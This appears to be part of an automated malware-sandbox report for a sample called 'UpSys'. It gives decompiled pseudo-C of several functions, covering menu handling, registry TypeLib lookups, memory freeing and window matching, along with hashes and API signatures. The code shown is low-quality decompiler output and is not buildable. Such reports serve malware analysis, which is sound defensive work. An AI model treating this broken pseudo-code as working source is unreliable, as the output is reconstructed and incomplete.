                                                                                                                                                                                                        • Opcode Fuzzy Hash: 9df50ef7ee44c5726eb73a91492b922615fbe0c877b9fd91df07509a39fa887f
                                                                                                                                                                                                        • Instruction Fuzzy Hash: CB317C76210E0186FB63EF67E9A4BE92361AB8C7D6F040424AB0E47AB0CE39C5948745
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014007C6C0 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 209windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 28%
                                                                                                                                                                                                        			E0000000114007C6C0(void* __edx, void* __eflags, void* __rax, long long __rbx, signed int __rcx, void* __rdx, void* __r9, void* __r11, signed int _a8, long long _a16, void* _a24, intOrPtr _a40) {
				intOrPtr _v72;
				long long _v80;
				char _v132;
				intOrPtr _v136;
				long long _v152;
				intOrPtr _v168;
				void* __rsi;
				void* __rbp;
				void* _t53;
				signed int _t54;
				char _t60;
				void* _t63;
				int _t66;
				int _t67;
				void* _t81;
				signed short _t101;
				intOrPtr _t104;
				intOrPtr _t105;
				int _t122;
				void* _t126;
				int _t127;
				int _t129;
				signed int _t134;
				intOrPtr _t135;
				long long _t136;
				long long _t137;
				intOrPtr _t139;
				signed long long _t140;
				signed int _t141;
				intOrPtr _t154;
				intOrPtr* _t168;
				void* _t170;
				void* _t171;
				void* _t184;

				_t184 = __r11;
				_a16 = __rbx;
				_a8 = __rcx;
				_t171 = __r9;
				r12d = r8d;
				_t54 = E0000000114003DD90(_t53, __rax, __rbx, 0x400c6a00, __rdx);
				_a8 = _t54;
				_t134 =  *0x400c6aa0; // 0x0
				_t139 =  *((intOrPtr*)( *((intOrPtr*)(_t134 + _t54 * 8))));
				if (r12d != 2) goto 0x4007c738;
				if ( *0x400c6a00 == 0) goto 0x4007ca13;
				r8d = 0xf060;
				r9d = 0;
				PostMessageW(??, ??, ??, ??);
				goto 0x4007ca13;
				if (r12d != 1) goto 0x4007c7ac;
				GetFocus();
				_a8 = _t134;
				_t101 = GetDlgCtrlID(??);
				E00000001140057950(_t57, _t139,  &_a8);
				if (_t101 != E00000001140017B74( *(_t139 + 0x2e8))) goto 0x4007ca13;
				 *(_t139 + 0x2e8) =  *(_t139 + 0x2e8) & 0x00000000;
				if (_a40 != 0) goto 0x4007ca13;
				if (_t171 != 0) goto 0x4007ca13;
				r8d = _t101 & 0x0000ffff;
				goto 0x4007c727;
				_t105 = _a40;
				r13d = r13d | 0xffffffff;
				if (_t105 != 0) goto 0x4007c7c5;
				if (_t171 != 0) goto 0x4007c7d6;
				goto 0x4007c7f7;
				if (_t105 != 1) goto 0x4007c7d6;
				if (_t171 != 0) goto 0x4007c7d6;
				goto 0x4007c7f7;
				_t60 = E0000000114004E150(_t59, 0x400c6a00, _t171);
				_t104 = _t60;
				_a24 = _t60;
				if (_t60 == r13d) goto 0x4007c9f3;
				if (E0000000114004E0B0(_t104, 0x400c6a00,  &_a8,  &_a24, _t184) != 0) goto 0x4007c842;
				if ( *(_t139 + 0x2e8) == 0) goto 0x4007c9f3;
				 *(_t139 + 0x2e8) =  *(_t139 + 0x2e8) & 0x00000000;
				r8d = 0;
				E000000011400740C0( *(_t139 + 0x2e8), _t139, _t170, _t184);
				goto 0x4007c9f3;
				_t135 =  *0x400c6ac8; // 0x3264820
				_t140 = _a24;
				_t136 =  *((intOrPtr*)( *((intOrPtr*)(_t135 + _t140 * 8))));
				if ( *((char*)(_t136 + 0xf4)) != 0xf) goto 0x4007c9de;
				_t63 = E00000001140016ED8(_t136,  *((intOrPtr*)(_t135 + _t140 * 8)));
				_t154 =  *0x400c6ac8; // 0x3264820
				_t168 =  *((intOrPtr*)(_t154 + _t140 * 8));
				_v152 = _t136;
				_t141 =  *((intOrPtr*)( *_t168 + 0x10));
				_t27 = _t168 + 0x4c; // 0x4c
				r8d = _t27;
				_a8 = _t141;
				_v136 = 0x50;
				E00000001140017520(_t63, 0x208, 0,  &_v132, _t168,  &_a8);
				_t137 = _v152;
				r8d = 0;
				_v132 = 0x10;
				_v80 = _t137;
				_v72 = 0x104;
				_t122 = GetMenuItemInfoW(??, ??, ??, ??);
				if (_t122 == 0) goto 0x4007c9d4;
				asm("bt dword [esp+0x48], 0x9");
				if (_t122 >= 0) goto 0x4007c9d4;
				_t66 = GetMenuItemCount(??);
				r15d = _t66;
				if (_t66 <= 0) goto 0x4007c91a;
				_t67 = GetMenuItemID(??, ??);
				r13d = _t67;
				if (_t67 == _t104) goto 0x4007c923;
				if (1 - r15d < 0) goto 0x4007c8fc;
				_t126 = r13d - _t104;
				if (_t126 != 0) goto 0x4007c9d4;
				_a24 = 1;
				if (_t126 < 0) goto 0x4007c967;
				r8d = 1;
				_t127 = GetMenuItemInfoW(??, ??, ??, ??);
				if (_t127 == 0) goto 0x4007c95b;
				asm("bt dword [esp+0x48], 0x9");
				if (_t127 >= 0) goto 0x4007c960;
				if (_t127 >= 0) goto 0x4007c939;
				_t42 = _t141 + 1; // 0x0
				_t43 = _t137 + 1; // 0x1
				_t81 = _t43;
				_a8 = _t42;
				_v80 = _v152;
				if (_t81 - r15d >= 0) goto 0x4007c9ba;
				r8d = 1;
				_t129 = GetMenuItemInfoW(??, ??, ??, ??);
				if (_t129 == 0) goto 0x4007c9a5;
				asm("bt dword [esp+0x48], 0x9");
				if (_t129 >= 0) goto 0x4007c9ac;
				if (_t81 + 1 - r15d < 0) goto 0x4007c983;
				_t49 = _t141 - 1; // 0x0
				r8d = _t49;
				r9d = _a24;
				_v168 = 0x400;
				CheckMenuRadioItem(??, ??, ??, ??, ??);
				0x40016a60();
				r8d = 0;
				if (E000000011400740C0(_t104, _t141, _t170, _t184) != 0) goto 0x4007ca13;
				r8d = 0;
				r8d = r8d << 0x10;
				return DefDlgProcW(??, ??, ??, ??);
			}





































                                                                                                                                                                                                        0x14007c6c0
                                                                                                                                                                                                        0x14007c6c0
                                                                                                                                                                                                        0x14007c6c5
                                                                                                                                                                                                        0x14007c6e3
                                                                                                                                                                                                        0x14007c6e6
                                                                                                                                                                                                        0x14007c6ec
                                                                                                                                                                                                        0x14007c6f4
                                                                                                                                                                                                        0x14007c6fb
                                                                                                                                                                                                        0x14007c706
                                                                                                                                                                                                        0x14007c70d
                                                                                                                                                                                                        0x14007c716
                                                                                                                                                                                                        0x14007c721
                                                                                                                                                                                                        0x14007c727
                                                                                                                                                                                                        0x14007c72d
                                                                                                                                                                                                        0x14007c733
                                                                                                                                                                                                        0x14007c73c
                                                                                                                                                                                                        0x14007c73e
                                                                                                                                                                                                        0x14007c747
                                                                                                                                                                                                        0x14007c766
                                                                                                                                                                                                        0x14007c768
                                                                                                                                                                                                        0x14007c77a
                                                                                                                                                                                                        0x14007c780
                                                                                                                                                                                                        0x14007c78f
                                                                                                                                                                                                        0x14007c798
                                                                                                                                                                                                        0x14007c79e
                                                                                                                                                                                                        0x14007c7a7
                                                                                                                                                                                                        0x14007c7ac
                                                                                                                                                                                                        0x14007c7b3
                                                                                                                                                                                                        0x14007c7b9
                                                                                                                                                                                                        0x14007c7be
                                                                                                                                                                                                        0x14007c7c3
                                                                                                                                                                                                        0x14007c7c8
                                                                                                                                                                                                        0x14007c7cd
                                                                                                                                                                                                        0x14007c7d4
                                                                                                                                                                                                        0x14007c7e0
                                                                                                                                                                                                        0x14007c7e5
                                                                                                                                                                                                        0x14007c7e7
                                                                                                                                                                                                        0x14007c7f1
                                                                                                                                                                                                        0x14007c817
                                                                                                                                                                                                        0x14007c821
                                                                                                                                                                                                        0x14007c827
                                                                                                                                                                                                        0x14007c835
                                                                                                                                                                                                        0x14007c838
                                                                                                                                                                                                        0x14007c83d
                                                                                                                                                                                                        0x14007c842
                                                                                                                                                                                                        0x14007c849
                                                                                                                                                                                                        0x14007c855
                                                                                                                                                                                                        0x14007c85f
                                                                                                                                                                                                        0x14007c86a
                                                                                                                                                                                                        0x14007c86f
                                                                                                                                                                                                        0x14007c876
                                                                                                                                                                                                        0x14007c87a
                                                                                                                                                                                                        0x14007c884
                                                                                                                                                                                                        0x14007c888
                                                                                                                                                                                                        0x14007c888
                                                                                                                                                                                                        0x14007c891
                                                                                                                                                                                                        0x14007c899
                                                                                                                                                                                                        0x14007c8a1
                                                                                                                                                                                                        0x14007c8a6
                                                                                                                                                                                                        0x14007c8b0
                                                                                                                                                                                                        0x14007c8b8
                                                                                                                                                                                                        0x14007c8c0
                                                                                                                                                                                                        0x14007c8c5
                                                                                                                                                                                                        0x14007c8d6
                                                                                                                                                                                                        0x14007c8d8
                                                                                                                                                                                                        0x14007c8de
                                                                                                                                                                                                        0x14007c8e4
                                                                                                                                                                                                        0x14007c8ed
                                                                                                                                                                                                        0x14007c8f5
                                                                                                                                                                                                        0x14007c8fa
                                                                                                                                                                                                        0x14007c906
                                                                                                                                                                                                        0x14007c90c
                                                                                                                                                                                                        0x14007c911
                                                                                                                                                                                                        0x14007c918
                                                                                                                                                                                                        0x14007c91a
                                                                                                                                                                                                        0x14007c91d
                                                                                                                                                                                                        0x14007c92d
                                                                                                                                                                                                        0x14007c937
                                                                                                                                                                                                        0x14007c93e
                                                                                                                                                                                                        0x14007c94f
                                                                                                                                                                                                        0x14007c951
                                                                                                                                                                                                        0x14007c953
                                                                                                                                                                                                        0x14007c959
                                                                                                                                                                                                        0x14007c95e
                                                                                                                                                                                                        0x14007c96c
                                                                                                                                                                                                        0x14007c96f
                                                                                                                                                                                                        0x14007c96f
                                                                                                                                                                                                        0x14007c975
                                                                                                                                                                                                        0x14007c97c
                                                                                                                                                                                                        0x14007c981
                                                                                                                                                                                                        0x14007c988
                                                                                                                                                                                                        0x14007c999
                                                                                                                                                                                                        0x14007c99b
                                                                                                                                                                                                        0x14007c99d
                                                                                                                                                                                                        0x14007c9a3
                                                                                                                                                                                                        0x14007c9aa
                                                                                                                                                                                                        0x14007c9bc
                                                                                                                                                                                                        0x14007c9bc
                                                                                                                                                                                                        0x14007c9c0
                                                                                                                                                                                                        0x14007c9c6
                                                                                                                                                                                                        0x14007c9ce
                                                                                                                                                                                                        0x14007c9d9
                                                                                                                                                                                                        0x14007c9e5
                                                                                                                                                                                                        0x14007c9f1
                                                                                                                                                                                                        0x14007c9f3
                                                                                                                                                                                                        0x14007c9fe
                                                                                                                                                                                                        0x14007ca2d

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: ItemMenu$Info$CheckCountCtrlFocusLongMessagePostProcRadioWindow
                                                                                                                                                                                                        • String ID: P
                                                                                                                                                                                                        • API String ID: 1026556194-3110715001
                                                                                                                                                                                                        • Opcode ID: 2eba71b2c62dbcae4edde3ef0acf6aa7759cb8594fd0cf17af9cfe647d41b992
                                                                                                                                                                                                        • Instruction ID: cf11e33c8bc96bb84236575281e155e67f65fb9a7e6a4782852c33cb28ea4936
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 2eba71b2c62dbcae4edde3ef0acf6aa7759cb8594fd0cf17af9cfe647d41b992
                                                                                                                                                                                                        • Instruction Fuzzy Hash: C891703661868586EB76CF27E444BEA63A0F38CBC4F54412AEB4A57BA5DF3DC445CB00
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140068400 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 129registryCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: FromQueryStringValue$CloseFreeLoadOpenTaskType_errno
                                                                                                                                                                                                        • String ID: Version$\TypeLib$interface\
                                                                                                                                                                                                        • API String ID: 2754250327-939221531
                                                                                                                                                                                                        • Opcode ID: 5d804ba6fb6e03d4be9eb4f048d1893ba07e6f524113b1c779afca48b7e04def
                                                                                                                                                                                                        • Instruction ID: dc09944fd20baafd4ec9050b30f98f149f5e6e47a8de0b4e443070d740617a63
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 5d804ba6fb6e03d4be9eb4f048d1893ba07e6f524113b1c779afca48b7e04def
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 4F514932214A8182EA61DB26F4987DEA3A5F7C87C4F505221FB8D87B79DF39C546CB00
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140042610 Relevance: 18.2, APIs: 12, Instructions: 168COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Window$ItemMoveRect$Invalidate
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 3096461208-0
                                                                                                                                                                                                        • Opcode ID: 082bdf53d518e503163f03eea54dc386ab8a95cba292bd6c789c2ae9fb6188c7
                                                                                                                                                                                                        • Instruction ID: a167dbe5eb4f8f44613f78eab54d1df5af85a686a6544dce915b73a22e7e8b75
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 082bdf53d518e503163f03eea54dc386ab8a95cba292bd6c789c2ae9fb6188c7
                                                                                                                                                                                                        • Instruction Fuzzy Hash: B5617C727296808BD755CF2AE444B9977A1F788BC0F519129FF4A83F68DB38C8048B04
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014001D714 Relevance: 18.1, APIs: 12, Instructions: 82COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 19%
                                                                                                                                                                                                        			E0000000114001D714(long long __rbx, void* __rcx, long long _a8, long long _a16) {
				void* _t15;
				void* _t17;
				long long _t31;
				void* _t34;
				long long _t52;
				void* _t57;
				intOrPtr* _t58;
				void* _t60;
				void* _t64;

				if (__rcx == 0) goto 0x4001d848;
				_a16 = __rbx;
				if ( *((intOrPtr*)(__rcx + 0x38)) == 0) goto 0x4001d738;
				free(_t57);
				if ( *((intOrPtr*)(__rcx + 0x48)) == 0) goto 0x4001d746;
				free(??);
				if ( *((intOrPtr*)(__rcx + 0x58)) == 0) goto 0x4001d754;
				free(??);
				if ( *((intOrPtr*)(__rcx + 0x68)) == 0) goto 0x4001d762;
				free(??);
				if ( *((intOrPtr*)(__rcx + 0x70)) == 0) goto 0x4001d770;
				free(??);
				if ( *((intOrPtr*)(__rcx + 0x78)) == 0) goto 0x4001d77e;
				free(??);
				if ( *((intOrPtr*)(__rcx + 0x80)) == 0) goto 0x4001d78f;
				free(??);
				if ( *((intOrPtr*)(__rcx + 0xa0)) == 0x40099d30) goto 0x4001d7a7;
				free(??);
				E0000000114001F1BC();
				_t52 =  *((intOrPtr*)(__rcx + 0xb8));
				_a8 = _t52;
				_t31 = _t52;
				if (_t31 == 0) goto 0x4001d7e0;
				asm("lock add dword [ecx], 0xffffffff");
				if (_t31 != 0) goto 0x4001d7e0;
				if (_a8 == 0x400ad480) goto 0x4001d7e0;
				free(??);
				E0000000114001F0BC();
				E0000000114001F1BC();
				_t58 =  *((intOrPtr*)(__rcx + 0xc0));
				if (_t58 == 0) goto 0x4001d82c;
				E0000000114001E76C(_t15, _t58, _t64);
				_t34 = _t58 -  *0x400adb30; // 0x1400ad9d0
				if (_t34 == 0) goto 0x4001d82c;
				if (_t58 == 0x400ad9d0) goto 0x4001d82c;
				if ( *_t58 != 0) goto 0x4001d82c;
				_t17 = E0000000114001E558(__rcx, _t58, _t60, _t64);
				E0000000114001F0BC();
				free(??);
				return _t17;
			}












                                                                                                                                                                                                        0x14001d717
                                                                                                                                                                                                        0x14001d71d
                                                                                                                                                                                                        0x14001d731
                                                                                                                                                                                                        0x14001d733
                                                                                                                                                                                                        0x14001d73f
                                                                                                                                                                                                        0x14001d741
                                                                                                                                                                                                        0x14001d74d
                                                                                                                                                                                                        0x14001d74f
                                                                                                                                                                                                        0x14001d75b
                                                                                                                                                                                                        0x14001d75d
                                                                                                                                                                                                        0x14001d769
                                                                                                                                                                                                        0x14001d76b
                                                                                                                                                                                                        0x14001d777
                                                                                                                                                                                                        0x14001d779
                                                                                                                                                                                                        0x14001d788
                                                                                                                                                                                                        0x14001d78a
                                                                                                                                                                                                        0x14001d7a0
                                                                                                                                                                                                        0x14001d7a2
                                                                                                                                                                                                        0x14001d7ac
                                                                                                                                                                                                        0x14001d7b2
                                                                                                                                                                                                        0x14001d7b9
                                                                                                                                                                                                        0x14001d7be
                                                                                                                                                                                                        0x14001d7c1
                                                                                                                                                                                                        0x14001d7c3
                                                                                                                                                                                                        0x14001d7c7
                                                                                                                                                                                                        0x14001d7d8
                                                                                                                                                                                                        0x14001d7da
                                                                                                                                                                                                        0x14001d7e5
                                                                                                                                                                                                        0x14001d7ef
                                                                                                                                                                                                        0x14001d7f5
                                                                                                                                                                                                        0x14001d7ff
                                                                                                                                                                                                        0x14001d804
                                                                                                                                                                                                        0x14001d809
                                                                                                                                                                                                        0x14001d810
                                                                                                                                                                                                        0x14001d81c
                                                                                                                                                                                                        0x14001d821
                                                                                                                                                                                                        0x14001d826
                                                                                                                                                                                                        0x14001d831
                                                                                                                                                                                                        0x14001d839
                                                                                                                                                                                                        0x14001d848

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: free$_lock$ErrorLastPrivilegeRelease_errno
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 4124204969-0
                                                                                                                                                                                                        • Opcode ID: f5d1d190bf2c8026d227b71cc2c5affee5cbb6e180d82bc2f74c4d8c2ef2329a
                                                                                                                                                                                                        • Instruction ID: 96e2f1eb4039e6c4fcde50bdf9ba3b3f58530200e19a6e58e0e402642a91436a
                                                                                                                                                                                                        • Opcode Fuzzy Hash: f5d1d190bf2c8026d227b71cc2c5affee5cbb6e180d82bc2f74c4d8c2ef2329a
                                                                                                                                                                                                        • Instruction Fuzzy Hash: FB31E83624650084FE5BAAA3A1517FC33A1AF8DBD4F481526FB0E1F6E6DE3AC8408351
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 00000001400729F0 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 228windowtimeCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 40%
                                                                                                                                                                                                        			E000000011400729F0(void* __edx, void* __rax, long long __rbx, void* __rcx, long long __rdx, long long __rbp, void* __r9, void* __r11, char _a8, intOrPtr _a12, long long _a16, long long _a24) {
				void* _v40;
				char _v2104;
				intOrPtr _v2120;
				char _v2632;
				intOrPtr _v2652;
				intOrPtr _v2656;
				intOrPtr _v2660;
				char _v2664;
				long long _v2680;
				intOrPtr _v2688;
				intOrPtr _v2696;
				void* __rsi;
				void* _t97;
				intOrPtr _t99;
				void* _t104;
				intOrPtr _t135;
				signed int _t136;
				signed char _t137;
				void* _t141;
				void* _t143;
				void* _t175;
				void* _t176;
				void* _t187;
				long long _t188;
				signed long long _t190;
				void* _t235;
				void* _t236;
				void* _t240;
				long long _t251;
				void* _t252;

				_t247 = __r9;
				_t187 = __rax;
				_a16 = __rbx;
				_a24 = __rbp;
				r14d = 0;
				_t251 = __rdx;
				_t236 = __rcx;
				r12d = r14d;
				_t143 = r14d;
				if (( *(__rcx + 0x110) & 0x00000008) == 0) goto 0x40072afb;
				r8d = 0x100;
				_t97 = E00000001140016A44(GetClassNameW(??, ??, ??),  &_v2632);
				_t8 = _t252 + 1; // 0x1
				_t141 = _t8;
				if (_t97 == r14d) goto 0x40072a72;
				_t9 = _t187 - 1; // -1
				_t190 = _t9;
				goto 0x40072a6d;
				if (E0000000114001786C( *(_t240 - 0xa80 + 0x60 + _t190 * 2) & 0x0000ffff) == r14d) goto 0x40072a72;
				r12d = r12d + _t141;
				if (_t190 - _t235 - _t252 >= 0) goto 0x40072a58;
				_t99 =  *((intOrPtr*)(__rcx + 0x23c));
				if (_t99 - _t143 <= 0) goto 0x40072d9d;
				_t135 =  *((intOrPtr*)(__rcx + 0x240));
				if (_t135 - r12d <= 0) goto 0x40072d9d;
				if (_t143 != _t99 - _t135 + r12d) goto 0x40072d9d;
				if (E000000011400178AC(_t143, __r9) != r14d) goto 0x40072d9d;
				 *((intOrPtr*)(__rcx + 0x238)) =  *((intOrPtr*)(__rcx + 0x238)) + _t141;
				r9d =  *((intOrPtr*)(__rcx + 0x238));
				E000000011400178DC(_t187,  &_v2104, L"%s%u",  &_v2632, __r9);
				_t104 = E00000001140017790( &_v2104,  *((intOrPtr*)(__rcx + 0x138)));
				goto 0x40072d90;
				asm("bt eax, 0xa");
				if (_t104 - r14d >= 0) goto 0x40072bae;
				E00000001140041B30(0x202, _t190 - _t235,  &_v2104 + 0x10, __rcx,  *((intOrPtr*)(__rcx + 0x138)), _t247);
				_t192 = _t187;
				if (_t187 == _t252) goto 0x40072bac;
				_t188 =  &_a8;
				_v2680 = _t188;
				r8d = 0x101;
				_v2688 = 0x1388;
				_v2696 = 2;
				SendMessageTimeoutW(??, ??, ??, ??, ??, ??, ??);
				if (_t188 == _t252) goto 0x40072ba0;
				if (_a8 - _t252 <= 0) goto 0x40072ba0;
				r9d = 0x202;
				E00000001140041A10(_t236 + 0x10, _t187, __r11);
				_v2120 = r14w;
				E00000001140017790( &_v2632,  *((intOrPtr*)(_t236 + 0x158)));
				r12d =  ==  ? 1 : r12d;
				E00000001140041AC0(_t187, _t236 + 0x10, _t187,  &_v2632);
				if (( *(_t236 + 0x110) & 0x00000010) == 0) goto 0x40072c11;
				r8d = 0x400;
				GetClassNameW(??, ??, ??);
				E00000001140001D30(_t188, _t187,  &_v2664,  &_v2104);
				E00000001140002610(E00000001140071FE0(_t236 + 0x1c0,  &_v2664), _t192,  &_v2664);
				if (E0000000114005AD00(_t236 + 0x1c0) == r14b) goto 0x40072c0f;
				r12d = r12d + 1;
				_t136 =  *(_t236 + 0x110);
				if ((_t136 & 0x00000020) == 0) goto 0x40072c30;
				GetDlgCtrlID(??);
				goto 0x40072d90;
				if ((_t136 & 0x000000c0) != 0) goto 0x40072c41;
				if ((_t136 & 0x00000300) == 0) goto 0x40072cee;
				GetWindowRect(??, ??);
				r11d = _v2664;
				_a8 = r11d;
				_a12 = _v2660;
				GetParent(??);
				ScreenToClient(??, ??);
				_t137 =  *(_t236 + 0x110);
				if ((_t137 & 0x00000040) == 0) goto 0x40072ca0;
				if ( *((intOrPtr*)(_t236 + 0x1b0)) != _a8) goto 0x40072c9e;
				r12d = r12d + 1;
				if (_t137 >= 0) goto 0x40072cb8;
				_t175 =  *((intOrPtr*)(_t236 + 0x1b4)) - _a12;
				if (_t175 != 0) goto 0x40072cb6;
				r12d = r12d + 1;
				asm("bt ecx, 0x8");
				if (_t175 >= 0) goto 0x40072cd3;
				_t176 =  *((intOrPtr*)(_t236 + 0x1b8)) - _v2656 - _v2664;
				if (_t176 != 0) goto 0x40072cd1;
				r12d = r12d + 1;
				asm("bt ecx, 0x9");
				if (_t176 >= 0) goto 0x40072cee;
				if ( *((intOrPtr*)(_t236 + 0x1bc)) != _v2652 - _v2660) goto 0x40072cec;
				r12d = r12d + 1;
				if ((dil & _t137) == 0) goto 0x40072d28;
				r8d = 0x100;
				GetClassNameW(??, ??, ??);
				if (E00000001140017790( *((intOrPtr*)(_t236 + 0x118)),  &_v2104) != r14d) goto 0x40072d26;
				r12d = r12d + 1;
				if (( *(_t236 + 0x110) & 0x00000004) == 0) goto 0x40072d66;
				r8d = 0x400;
				GetWindowTextW(??, ??, ??);
				if (E00000001140017790( *((intOrPtr*)(_t236 + 0x178)),  &_v2104) != r14d) goto 0x40072d64;
				r12d = r12d + 1;
				if (( *(_t236 + 0x110) & 0x00000002) == 0) goto 0x40072d8d;
				if (r12d != 1) goto 0x40072d8b;
				 *((intOrPtr*)(_t236 + 0x238)) =  *((intOrPtr*)(_t236 + 0x238)) + 1;
				if ( *((intOrPtr*)(_t236 + 0x238)) !=  *((intOrPtr*)(_t236 + 0x19c))) goto 0x40072d8b;
				r12d = r12d + 1;
